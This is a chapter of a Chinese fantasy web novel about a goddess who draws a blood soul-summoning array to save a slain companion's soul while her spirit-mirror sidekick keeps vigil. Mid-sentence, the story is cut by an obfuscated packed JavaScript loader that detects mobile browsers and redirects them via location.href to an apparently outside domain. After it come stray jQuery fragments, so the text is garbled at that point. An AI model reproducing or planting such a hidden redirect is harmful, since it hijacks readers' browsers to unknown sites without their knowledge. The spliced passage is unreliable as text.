45.招魂阵静候故人音
作品:《司命她又在诱神逆天》 饶是平日最有兴致的灵鉴看见晏清这副失魂落魄的模样也没有了开玩笑的心思,他惊慌失措地变成一个兽耳小人飞到她跟前,不料被晏清那空洞呆滞的眼神差点下了个魂飞魄散。
小人手忙脚乱地捧起晏清的脸颊,头一遭如此正经地说话:“殿下,殿下你怎么了?你识海传音,信本鉴,本鉴一定帮你想办法——”
晏清阖上眸子,识海里沉寂片刻终于传来了一声微不可察,快要消散似的声音:“我杀了沈燎。”
“我亲手,杀了他。”
明明这声音这么轻,这么碎,像是下一刻就要堙灭了,偏偏在识海里炸出了层层巨浪,一瞬间给灵鉴雷了个外焦里嫩:
“啊……?”
它不就被天君设下的阵法隔绝在了无极殿之外,怎的不过一个时辰,便出现了如此荒唐的事情?!
灵鉴就算再舌灿生花此刻舌头也打了结噎在了嗓子里,一来二去,只噎出几句破碎的话:“啊……那个……本鉴……”
它脑子疯狂运转,一瞬间险些都要怀疑晏清在同它说笑了。
接着它宕机的系统还未反应,便见方才失魂落魄的人阖了阖眼,深吸一口气,面上一瞬间又恢复了那副云淡风轻的模样。
她攥紧手里的母钺起身,二话不说直冲天女殿而去。
飞在半空正在搜肠刮肚寻找安慰之语的灵鉴被晏清的雷厉风行差点卷成残片,正欲上前却听识海里传来一道声音。
这声音不大,却不再冷清,意外带上了几分急,倒显得格外坚定。
“我不会让他死的。”
*
“什么?你要剖神格救他?”
“我亲爱的殿下,他何德何能,咱能别为了一个臭男人就寻死觅活吗?”
“四条腿的银毛狗不好找,但两条腿的男人多得是啊,咱何苦为了一个嘴巴比石头都硬的臭鸡蛋,放弃一大片上好的嫩鸡蛋呢……”
晏清斜睨它:“……”
灵鉴立马嬉笑着改口:“本鉴不是说殿下是苍蝇,这天底下哪有这么貌美的苍蝇,本鉴是说……”
“我欠他的。”
灵鉴头一遭在晏清脸上窥见如斯的神情,自它臭不要脸黏上晏清那刻起,她就好似一个无聊发生什么都不会有什么太大情绪起伏的人,往好了说是有当神的特性,往坏了说就是冷心冷情,铁石心肠。
可偏生此刻约莫是沉寂在自己亲手弑神的恍惚里,她那双澄澈的瞳都暗淡了,垂落的睫羽在眼底投下了影,零散得寂寥。
灵鉴咂舌。
它不知道从哪里掏出一根糖葫芦开始嚼吧嚼吧,嗓音听着都恍若被糖腻住一般,有些含糊不清:
“可是,这不是稀饭啊……”
晏清蹙眉。
兽耳小人胡乱咽下嘴里的糖渣,道:“本鉴说,殿下你这是亏欠,不是喜欢。”
晏清正欲开口,又见它摸出一副算命瞎子的墨镜,神叨叨地继续道:
“欠是欠,欠不是爱。殿下你平心而论,你自认识沈燎这银毛狗起,对他哪一步不是算计,哪一步不是利用?”
“便是到了如今这步田地,你想的也是不能欠他,救他也仅仅是因为亏欠——偿还亏欠的方式有那么多种,非得用神格吗?”
倘若两人情投意合,灵鉴真的看出晏清是喜欢沈燎的,那么此番剖神格它绝不干涉,可是如果只是为了所谓的“亏欠”,那么偿还这份愧疚的方式有千千万万种,自然不必选择风险这么高,这么痛苦的一条路。
生剖神格,说的轻巧。
神格自封神那刻伊始,便是加冕在灵魂的枷锁,是力量的源泉和象征,同样也依附于魂灵,分不开也剜不出。
生剖神格,轻者灵魂受损,重者神识尽散。
它虽然平日里爱犯点小贱,找点乐子,当真让他们家殿下冒着这么大险去救那只银毛大狗,灵鉴是万万不乐意的。
如果只是亏欠,那么大可不必,也大可不值。
可真的只是亏欠吗?
晏清不知道。
她又不是刚刚成神的黄毛丫头,她堂堂大司命,在神界摸爬滚打作威作福那么多年,怎么可能会不知道生剖神格的代价。
心里闷闷的,总感觉好像缺了什么,手指间还是粘腻的血液,已经不再有温度,隐隐有干涸的痕迹。
她深吸一口气,暂时屏去了脑海里杂乱纷扰的思绪,从一直握着的母钺上拽出一片玉佩。
这是先前她在云隐村,用来藏魂的玉佩,名唤无间。
晏清指尖在母钺刃上轻轻一划,手上霎时出现了一条血口。
她抬起指尖,任由伤口处流出的血液混着她手上原有的血渍,顺着手指蜿蜒滴落在玉佩之上。随后玉佩恍若被注入了灵力,带着滴落的血,开始散发出柔和的光来。
“招魂之术!”
灵鉴一声惊呼,只见晏清蘸着指尖的血渍,开始在殿内的地板上绘制繁复的纹路,和那晚在鬼市时沈燎蘸着血画出来的阵法形状大致相同,但又略有几分不同之处。
是招魂阵。
所谓招魂,招死者之魂,慰生者之灵。只是此阵法一旦被有心之人加以恶意利用便会造成不可逆的危害,因此招魂术也被列为禁术。
此阵法需要神明鲜血为引,逝者心头血为祭。
晏清蘸着鲜血勾勒,最后一指狠狠下压,压出的纹路鬼魅,竟然形似一朵血色的花。
逝者生魂理应入轮回,招魂之术本就是逆天而行,倘若招来的魂魄没有安放之所,三天之后便会彻底魂飞魄散。
晏清本以为“无间”是她三件魂契里最没有用的一件,在魂穿之前一直把无间当储物袋用。但一遭魂穿彻底改变了她的看法,当初在云隐村瞒天过海之时,她用的也是无间藏魂。
不过之后碍于轮回晷裂隙存在的问题,她一直没有寻到合适的时机把云隐救下的魂魄安放回去。
如果说云隐村那般简陋条件之下,还被人虎视眈眈监视着晏清都有六成把握,那么此时她看着地上混有二人血渍的阵法,在自己一声比一声跳得剧烈的心跳声里,她的把握甚至不足两成。
沈燎本就浑身经脉受损,虽然方才晏清透过锁魂链在他的魂魄上浅浅烙下了一个印记,但他那般虚弱的神魂,真的可以坚持到此时吗?
她顾不了这么多了。
这是救他的唯一办法——假意告诉天君他神魂尽散,实则借助印记敛藏了他的魂魄气息,再借助无间藏魂。
晏清承认,这一刻她确实什么都顾不上了。顾不上所谓代表神明身份的神格,顾不上被发现之后承担的后果,也顾不上生剖神格的后遗症,便好似素
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889786|167790||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来斤斤计较一切得失利益的人突然金盆洗手了,在意的一切,霎时都黯然了。
一身素衣的天女跪坐在猩红的阵法间,澄澈透亮的眸子呆滞着,裙子下摆是斑驳的血痕,着裙之人两颊素白,像一个一碰就碎的瓷娃娃。
“灵鉴。”
晏清的嗓音沉沉的,兽耳小人闻声抽出了一支底子,鼓起腮帮就开始吹。
笛声意外地悠扬,萦绕缠绵。
晏清也不急,就这么静静地坐着。她从无极殿走出之时日上阳光斜照,约是巳时。
笛声一鼓作气吹了将近两个时辰,直到灵鉴实在不堪重负瘫成一块竹皮滑落在地,晏清还是就这般跪坐着,连眼神都不曾分给灵鉴半个。
她脊背挺得很直,发丝微落几分,像一座雕塑。
灵鉴悲催地发现晏清已经陷入了一种封闭的状态,哪怕它此刻嘎嘣一声累死了,说不定伟大的天女殿下都不会用鼻孔睨它一眼。
“我呸,”灵鉴心道,“真不拿鉴当人看,拉磨的驴也该喘口气吧。”
“再帮她当苦力我就是狗。”
于是它兀自从兜里掏出几根糖葫芦嚼吧嚼吧半天,吃得肚子圆滚滚,又忽然好似想到了这糖葫芦的来历,再瞥见眼前那人一动不动的身姿,终于败下阵来。
“好吧好吧,其实讹兽是狗的祖宗。汪。”
它拾起那笛子,又开始吹起来。
笛声一直响到深夜,吹得灵鉴嘴皮子都险些磨出血来:“殿下......”
他不在了。
“殿下你别等了——殿下!”
“殿下你忘了今夜是六月初七吗!魂穿之日啊!”
灵鉴一声扯着嗓子的惊呼终于嚎回了晏清的半条魂,她惊觉自己已经呆滞地荒坐了一天,此刻转身,眸光迟疑地落在灵鉴身上:
“亥时了!殿下你要是再不过去司命殿,真当心一辈子就待在别人的皮囊里永世不得脱生了!”
……她之前怎么没有发现这灵鉴还有当老妈子的天分?
晏清叹了口气。
心里说不上心急如焚,也谈不上天崩地裂,甚至她都没有什么太大的情绪波动,只是心情从一开始忐忑,到期待,再到失落,最后……化作了一捧道不明的酸涩。
或许她对沈烬隐,真的有那么几分真情。
可是真情有用吗?
后知后觉发现了,坦然了,结果那人魂也不见了,魄也消失了,要这迟来的真情作何用?
晏清起身,蹙眉看着血阵不语。
“我的殿下,您快去司命殿吧,少司命已经传讯十数次了——您再不过去,本鉴指不定哪天就被他拿去生火做饭当柴烧了!”
它寻着晏清的目光望去,霎时明白了晏清所想,兽耳小人终于是被逼出了圆滑老练,他扶额叹气:
“区区一个招魂阵,本鉴替你守便是!这曲子本鉴就一直吹,直到殿下回来……”
“但是殿下要答应本鉴,不许为了一只银毛狗就失魂落魄,这世界上彩色皮毛的狗多了去了,你喜欢什么颜色,本鉴给你挑——”
晏清把无间玉佩递到它手里,看着小人不情不愿的苦瓜脸抿了抿唇。她怔愣片刻,抬手揉了一把灵鉴的脑袋,发现这讹兽的毛竟然出奇的软:
“你以后的糖葫芦,本殿全包了。”

